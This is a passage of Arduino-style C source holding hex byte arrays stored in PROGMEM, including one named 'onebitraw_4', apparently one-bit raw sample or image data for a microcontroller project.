0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xE0, 0x82, 0x3F, 0x10, 0x77, 0x02, 0xFC, \n0x13, 0xFC, 0x27, 0xC2, 0xFD, 0xC1, 0xFE, 0x0F, 0xE1, 0xE7, 0xE5, 0xEF, 0x27, 0xD3, 0x0C, \n0xFE, 0x61, 0xEE, 0x6C, 0x7E, 0x01, 0xF0, 0x7C, 0x7C, 0x71, 0x87, 0x5C, 0x07, 0x98, 0x0F, \n0x86, 0xE0, 0x0F, 0x04, 0x78, 0xE2, 0x3E, 0xC0, 0x3E, 0x33, 0xB0, 0x70, 0x1B, 0x83, 0x10, \n0x58, 0xE0, 0x7C, 0x0F, 0xF0, 0x07, 0xF8, 0x0F, 0x86, 0xE4, 0x3E, 0x07, 0xF0, 0xC6, 0x17, \n0xBC, 0x0F, 0x83, 0xFC, 0x60, 0x7E, 0xC1, 0xE1, 0xDC, 0x1D, 0x83, 0xE0, 0x7E, 0x17, 0x1F, \n0x80, 0xCE, 0xE0, 0x87, 0xC1, 0xFF, 0x01, 0xF8, 0x02, 0xF0, 0x0F, 0xC0, 0x3F, 0x84, 0x1C, \n0x1F, 0x01, 0xC8, 0x3E, 0x07, 0xE1, 0x31, 0xF8, 0x40, 0xFE, 0x01, 0xFC, 0x07, 0xF0, 0x1F, \n0x81, 0xF8, 0x1F, 0x81, 0xFC, 0x0D, 0xF0, 0x8F, 0x80, 0xF8, 0xFF, 0xC0, 0x65, 0xCC, 0xE0, \n0x07, 0xD0, 0x38, 0x7E, 0x00, 0x61, 0xC0, 0xE6, 0x13, 0xD2, 0x0C, 0x7E, 0x00, 0xF0, 0x01, \n0xF8, 0x70, 0x78, 0x0F, 0xC0, 0x07, 0xF8, 0x61, 0xE0, 0x7F, 0x00, 0x3F, 0xF0, 0xE3, 0xF0, \n0x8F, 0x81, 0xCF, 0x63, 0x83, 0x80, 0xFE, 0x08, 0x3F, 0xE3, 0xE3, 0x01, 0xFE, 0x07, 0xFC, \n0x03, 0xF8, 0x07, 0xBA, 0x30, 0x10, 0xEF, 0x80, 0x07, 0xFC, 0x11, 0xFC, 0x03, 0xF0, 0x7F, \n0x80, 0x7F, 0x03, 0xF7, 0x57, 0x82, 0x1D, 0xF0, 0x80, 0xFF, 0xC0, 0x3F, 0x80, 0x5F, 0xE0, \n0xE1, 0xCF, 0xD0, 0x0F, 0xA8, 0x60, 0x7F, 0x00, 0x1D, 0x7C, 0x03, 0xF0, 0x70, 0xE3, 0xF8, \n0x07, 0x80, 0x38, 0x3F, 0x81, 0xF8, 0x1F, 0xC0, 0x3B, 0x61, 0xE0, 0x05, 0xBF, 0x0C, 0xC6, \n0x30, 0x47, 0xC1, 0xF8, 0x0F, 0xF0, 0x1D, 0xE0, 0xF8, 0x03, 0xDF, 0x8E, 0x43, 0x10, 0x63, \n0xC1, 0xE0, 0x01, 0xFC, 0x05, 0xC0, 0x7E, 0x03, 0xE2, 0x1C, 0xC0, 0x57, 0x03, 0xE0, 0x78, \n0x02, 0x3E, 0x03, 0x70, 0x3F, 0x80, 0xF8, 0x87, 0x30, 0x0D, 0xE1, 0xE0, 0xD4, 0x0F, 0x83, \n0xBA, 0xC0, 0x2F, 0xA0, 0x1E, 0x40, 0x7F, 0x0B, 0x03, 0xE0, 0x30, 0xFC, 0x18, 0x0F, 0xC0, \n0x14, 0x79, 0xC8, 0x02, 0xFA, 0x03, 0xCC, 0x07, 0xF0, 0x20, 0x7E, 0x07, 0x0F, 0x0F, 0x00, \n0xFB, 0xC0, 0xFF, 0x0C, 0x67, 0x80, 0x7F, 0x00, 0x7F, 0x00, 0x0E, 0x78, 0xE0, 0x67, 0x86, \n0x83, 0x86, 0x2C, 0x00, 0x7F, 0x04, 0x07, 0x00, 0x7C, 0xE1, 0xD7, 0xC0, 0xCF, 0xE0, 0x0E, \n0xF0, 0x1F, 0xC2, 0x11, 0x8E, 0xEC, 0x3E, 0x00, 0xFF, 0x01, 0xF8, 0x20, 0x18, 0xFE, 0x80, \n0xFC, 0x0F, 0xE0, 0x0F, 0x87, 0xC0, 0x0F, 0xE0, 0x7F, 0x80, 0xF8, 0x7C, 0x00, 0xFF, 0x01, \n0xFC, 0x04, 0x7F, 0x80, 0x3F, 0xFF, 0x01, 0xF8, 0x0F, 0xE0, 0x3F, 0x05, 0x80, 0x1F, 0xE0, \n0x3F, 0x81, 0x87, 0xF0, 0x0F, 0xFC, 0x40, 0x7F, 0x00, 0x8C, 0x1E, 0x01, 0xFE, 0x0E, 0x01, \n0xFC, 0x02, 0x07, 0xF0, 0x01, 0xF8, 0x0E, 0x8F, 0x80, 0xE0, 0x3F, 0x80, 0x20, 0xFE, 0x00, \n0x3F, 0x81, 0xEC, 0xE8, 0x1E, 0x03, 0x08, 0x03, 0xFC, 0x00, 0x1F, 0xE0, 0x3C, 0x1F, 0x80, \n0x3F, 0xC0, 0xFE, 0xE0, 0x0F, 0x03, 0x8C, 0x01, 0xFE, 0x00, 0x1F, 0xF0, 0x1E, 0x8B, 0xC0, \n0xFB, 0x00, 0x7F, 0x01, 0x8E, 0x01, 0x9C, 0xC0, 0x05, 0x86, 0x38, 0xC0, 0x1F, 0xC0, 0x3F, \n0x3C, 0x03, 0xFC, 0x01, 0xFC, 0x06, 0x38, 0x06, 0x73, 0x80, 0x1E, 0x18, 0x4B, 0x80, 0x7F, \n0x80, 0xFF, 0xE0, 0x0F, 0xE4, 0x0D, 0x80, 0x88, 0x3F, 0xC0, 0xB2, 0x10, 0x83, 0xE6, 0x00, \n0x90, 0x1F, 0x30, 0x0F, 0xE0, 0x1F, 0xFC, 0x01, 0xFC, 0x01, 0xB0, 0x11, 0x07, 0xF8, 0x06, \n0x8E, 0x00, 0x78, 0xC0, 0x02, 0x07, 0xE2, 0x00, 0x39, 0xFC, 0x0F, 0x80, 0x1F, 0x80, 0x3F, \n0x80, 0xCF, 0xE0, 0x5F, 0x00, 0x04, 0xFF, 0x00, 0x3E, 0x00, 0x1F, 0x20, 0x7F, 0x00, 0x3F, \n0x80, 0x7E, 0x00, 0x17, 0xFC, 0x02, 0xFC, 0x00, 0x27, 0xE0, 0x1F, 0x01, 0xFC, 0x00, 0x0F, \n0x80, 0xFC, 0x04, 0x09, 0xE0, 0x00, 0x38, 0x20, 0x03, 0xE0, 0x1F, 0x01, 0xFC, 0x00, 0x0F, \n0xC0, 0x7E, 0x06, 0xA4, 0xE0, 0x06, 0x08, 0x77, 0x81, 0xFF, 0x80, 0x07, 0xFC, 0x00, 0x01, \n0xFC, 0x01, 0x9C, 0xBC, 0x00, 0x05, 0xC0, 0xF0, 0x06, 0x60, 0xF0, 0x02, 0xC0, 0x77, 0x81, \n0xFF, 0x80, 0x07, 0xFC, 0x00, 0x01, 0xFC, 0x00, 0x8E, 0xB8, 0x03, 0xC0, 0x07, 0xE0, 0x0E, \n0x78, 0x6E, 0x01, 0xF0, 0x0F, 0x44, 0x0E, 0x78, 0x03, 0xE1, 0x01, 0xE0, 0xCC, 0x05, 0xE8, \n0x80, 0xFF, 0x00, 0x1E, 0xE0, 0x3C, 0x18, 0xC0, 0xB8, 0x18, 0x0F, 0xE0, 0x00, 0xFC, 0x03, \n0x9C, 0x1C, 0x08, 0x07, 0x40, 0xFC, 0x00, 0x7E, 0x00, 0x03, 0x07, 0x80, 0x01, 0xF0, 0x0F, \n0x80, 0x1F, 0x00, 0xC0, 0x38, 0x20, 0x46, 0x02, 0xE0, 0x00, 0x18, 0x70, 0x07, 0xE0, 0x3E, \n0xE0, 0x70, 0x00, 0x3E, 0x01, 0xF0, 0x01, 0xF0, 0x08, 0x03, 0x82, 0x00, 0xE0, 0xFC, 0x04, \n0x31, 0x0F, 0x80, 0x78, 0x07, 0xF8, 0x07, 0xF0, 0x1E, 0x23, 0x80, 0xE0, 0x3C, 0x07, 0x80, \n0x7F, 0x80, 0x07, 0x80, 0xF0, 0x01, 0xF8, 0x00, 0xF0, 0x3F, 0xC0, 0x1F, 0x80, 0xFE, 0x18, \n0x0F, 0x03, 0x80, 0x78, 0x0F, 0xFC, 0x00, 0x3C, 0x07, 0xF8, 0x03, 0xE0, 0x1F, 0x84, 0x03, \n0xE0, 0xE0, 0x3E, 0x03, 0xF0, 0x00, 0xF0, 0x1F, 0x0F, 0xC0, 0x38, 0x06, 0xFC, 0x03, 0xC0, \n0x0E, 0x00, 0x7C, 0x01, 0xE0, 0x38, 0x06, 0xE4, 0x0F, 0xC0, 0x3E, 0x01, 0xFC, 0x10, 0x7C, \n0x00, 0x3F, 0x80, 0x3E, 0x00, 0x0B, 0x80, 0xF0, 0xD8, 0x03, 0xE0, 0x6F, 0x40, 0xFC, 0x03, \n0xF0, 0x1F, 0xC1, 0x07, 0xC0, 0x03, 0xF8, 0x03, 0xC0, 0x31, 0x88, 0x0F, 0x00, 0x81, 0xCE, \n0x01, 0xFE, 0x07, 0xE0, 0xFC, 0x00, 0x60, 0x0F, 0x00, 0x0F, 0x83, 0x87, 0x00, 0x37, 0x00, \n0x7F, 0x00, 0x1E, 0x11, 0x03, 0x8C, 0x03, 0xFC, 0x0F, 0xC0, 0xF8, 0x00, 0xC0, 0x1E, 0x00, \n0x1F, 0x07, 0x0E, 0x00, 0xFE, 0x00, 0x7C, 0x43, 0x00, 0x7C, 0x03, 0x84, 0x00, 0x30, 0x00, \n0x87, 0xC0, 0x7C, 0x00, 0xFC, 0x1F, 0x80, 0x04, 0x04, 0x08, 0x00, 0x01, 0xF8, 0x03, 0x00, \n0x3F, 0x07, 0xE0, 0x03, 0x01, 0x8E, 0x00, 0xC0, 0x3F, 0x00, 0x80, 0x1E, 0x02, 0xF8, 0x0A, \n0x00, 0xFC, 0x06, 0x00, 0xE3, 0x00, 0x78, 0x03, 0xE0, 0x10, 0x03, 0xC0, 0xBF, 0x06, 0x00, \n0x3F, 0x80, 0xC0, 0x3D, 0xC0, 0x3F, 0x00, 0xF0, 0x06, 0x00, 0x1F, 0x01, 0xF0, 0x0F, 0xC0, \n0x38, 0x00, 0xF8, 0x07, 0x80, 0x7E, 0x01, 0xE0, 0x09, 0xC0, 0x0F, 0x80, 0x08, 0x43, 0xC0, \n0x0F, 0x00, 0xFC, 0x03, 0x80, 0x01, 0xB0, 0x1F, 0x00, 0x10, 0x9F, 0x80, 0x1F, 0x00, 0x00, \n0x81, 0x1F, 0x81, 0xFC, 0x00, 0x3E, 0x00, 0x00, 0xE0, 0x01, 0xF0, 0x03, 0xE0, 0x3D, 0x80, \n0x0F, 0x80, 0x00, 0x1C, 0x00, 0x7E, 0x00, 0xC6, 0x02, 0x20, 0x4C, 0x01, 0x90, 0x1F, 0x00, \n0x79, 0x00, 0x00, 0x0C, 0x00, 0xFC, 0x03, 0xFC, 0x00, 0x40, 0x00, 0x01, 0xE0, 0x01, 0xC0, \n0x00, 0x30, 0x00, 0x06, 0xC0, 0x18, 0x81, 0xF8, 0x03, 0xF8, 0x00, 0x01, 0xD0, 0x03, 0xE0, \n0x00, 0x07, 0x80, 0x3E, 0x00, 0x07, 0x80, 0x3F, 0x00, 0xFE, 0x02, 0xF8, 0x00, 0x60, 0x03, \n0x01, 0x30, 0x00, 0x07, 0xC0, 0x1E, 0x00, 0x07, 0x80, 0x3F, 0x80, 0x7E, 0x01, 0x78, 0x00, \n0x7A, 0x01, 0xE0, 0x38, 0x00, 0x1F, 0xC0, 0x06, 0x06, 0x03, 0x00, 0x0F, 0xE0, 0x00, 0xFC, \n0x03, 0x80, 0x7E, 0x01, 0xF0, 0x0C, 0x00, 0x30, 0x00, 0x38, 0x00, 0x07, 0xE0, 0x07, 0x02, \n0x03, 0x00, 0x07, 0xE0, 0x00, 0xFC, 0x01, 0xD0, 0x7E, 0x01, 0xF0, 0x07, 0x00, 0x7C, 0x03, \n0xB8, 0x10, 0x01, 0xE0, 0x07, 0xE0, 0x3C, 0x07, 0x80, 0x30, 0x00, 0x3C, 0x00, 0x30, 0x00, \n0x03, 0xC0, 0x07, 0x00, 0x0E, 0x00, 0xE0, 0x18, 0x01, 0xE0, 0x0C, 0xC0, 0x7F, 0x00, 0x80, \n0x3E, 0x00, 0x7C, 0x01, 0x80, 0xE0, 0x07, 0x00, 0x07, 0x80, 0x07, 0x00, 0x60, 0x38, 0x01, \n0x60, 0xCC, 0xC0, 0x7F, 0x00, 0x80, 0x1F, 0x40, 0x3B, 0x00, 0x0E, 0x00, 0x03, 0xE0, 0x01, \n0xC0, 0x03, 0xC0, 0x02, 0xC0, 0x00, 0x60, 0x00, 0x60, 0x02, 0x00, 0x00, 0x20, 0x00, 0x30, \n0x00, 0x02, 0x02, 0xE0, 0x00, 0x00, 0x06, 0x00, 0x01, 0x80, 0x18, 0xC0, 0x00, 0x40, 0x04, \n0x00, 0x05, 0xC0, 0x00, 0x40, 0x18, 0x01, 0x00, 0x00, 0x61, 0x03, 0x80, 0x00, 0x60, 0x00, \n0x1F, 0x00, 0x00, 0x20, 0x0C, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x38, 0x40, 0xE0, 0x00, \n0x18, 0x00, 0x06, 0xC0, 0x00, 0x0C, 0x07, 0x00, 0x03, 0xC0, 0x1C, 0x00, 0x00, 0x1F, 0x81, \n0xC0, 0x00, 0x00, 0x00, 0x04, 0xC0, 0x07, 0xC0, 0x1E, 0x00, 0x00, 0x06, 0x00, 0x0E, 0x01, \n0xE0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0xF0, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x17, 0x00, 0x3F, 0x00, 0xF0, 0x03, 0x00, 0x11, 0x00, 0x00, 0x0F, 0x00, 0x78, \n0x00, 0x00, 0x3E, 0x00, 0x61, 0x00, 0x02, 0x00, 0x1F, 0x00, 0x1E, 0x00, 0x30, 0x03, 0x80, \n0x30, 0x03, 0x80, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0F, \n0x00, 0x1F, 0x00, 0x30, 0x01, 0x80, 0x10, 0x03, 0x80, 0x1F, 0x00, 0x00, 0x00, 0x18, 0x00, \n0x01, 0xE0, 0x0F, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x03, 0x00, 0x00, 0xE0, 0x00, 0x20, 0x00, \n0x08, 0x00, 0xE0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x0E, 0x00, 0x02, 0x00, 0x00, \n0x00, 0x1C, 0x01, 0xC0, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x1C, 0x00, \n0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x03, 0xC0, 0x01, \n0x00, 0x00, 0x00, 0x40, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x00\n};\nprog_uchar onebitraw_4[] PROGMEM = {\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x1F, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 